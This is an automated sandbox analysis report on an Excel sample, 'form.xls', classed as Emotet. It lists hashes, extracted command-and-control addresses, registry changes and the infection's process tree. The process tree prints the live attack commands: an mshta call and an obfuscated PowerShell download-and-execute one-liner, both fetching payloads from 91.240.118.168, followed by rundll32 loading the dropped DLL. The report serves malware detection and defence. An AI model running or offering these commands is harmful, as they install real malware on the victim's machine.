Analysis
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max time kernel
147s -
max time network
151s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 00:53
Behavioral task
behavioral1
Sample
form.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
form.xls
Resource
win10-en-20211208
General
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Target
form.xls
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Size
47KB
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MD5
9978cade17fd81b1c69f26f79cbaf75a
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SHA1
197d8977aaaba02df725e806b1d9d4f36b5cb7de
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SHA256
915a4385f69edc1d4929a69674e8292cb7cd5a5ea95b684cec877e97e4f02cd5
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SHA512
768d95ab7dff26bce287055c902284e6314fd1829a428a90bd3d0511a1f628ff0b2a2675a0b13a8e0cdc0a2280da6f702ba2e18ce01ac780079b6866309609f6
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 652 1628 CMD.EXE EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 4 276 mshta.exe 5 964 powershell.exe 7 964 powershell.exe 9 808 rundll32.exe 11 808 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1536 rundll32.exe 1536 rundll32.exe 1536 rundll32.exe 1536 rundll32.exe 1688 rundll32.exe 1688 rundll32.exe 1688 rundll32.exe 1688 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Bhscuzttgzeweyh\xniuxoxvsj.czb rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEmshta.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1628 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exerundll32.exepid process 964 powershell.exe 808 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 964 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1628 EXCEL.EXE 1628 EXCEL.EXE 1628 EXCEL.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1628 wrote to memory of 652 1628 EXCEL.EXE CMD.EXE PID 1628 wrote to memory of 652 1628 EXCEL.EXE CMD.EXE PID 1628 wrote to memory of 652 1628 EXCEL.EXE CMD.EXE PID 1628 wrote to memory of 652 1628 EXCEL.EXE CMD.EXE PID 652 wrote to memory of 276 652 CMD.EXE mshta.exe PID 652 wrote to memory of 276 652 CMD.EXE mshta.exe PID 652 wrote to memory of 276 652 CMD.EXE mshta.exe PID 652 wrote to memory of 276 652 CMD.EXE mshta.exe PID 276 wrote to memory of 964 276 mshta.exe powershell.exe PID 276 wrote to memory of 964 276 mshta.exe powershell.exe PID 276 wrote to memory of 964 276 mshta.exe powershell.exe PID 276 wrote to memory of 964 276 mshta.exe powershell.exe PID 964 wrote to memory of 1344 964 powershell.exe cmd.exe PID 964 wrote to memory of 1344 964 powershell.exe cmd.exe PID 964 wrote to memory of 1344 964 powershell.exe cmd.exe PID 964 wrote to memory of 1344 964 powershell.exe cmd.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1344 wrote to memory of 1536 1344 cmd.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1536 wrote to memory of 1688 1536 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1688 wrote to memory of 1788 1688 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe PID 1788 wrote to memory of 808 1788 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\form.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bhscuzttgzeweyh\xniuxoxvsj.czb",MYsbFuzG8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bhscuzttgzeweyh\xniuxoxvsj.czb",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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\ProgramData\QWER.dllMD5
776938e90c4280a256d803a0ea788f20
SHA1b54dd343c6a3717fe85713d4583c1ddd3a49616e
SHA2564866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1
SHA512758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be
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memory/808-98-0x0000000000960000-0x0000000000985000-memory.dmpFilesize
148KB
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memory/808-106-0x0000000002800000-0x0000000002825000-memory.dmpFilesize
148KB
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memory/808-113-0x0000000002AA0000-0x0000000002AC5000-memory.dmpFilesize
148KB
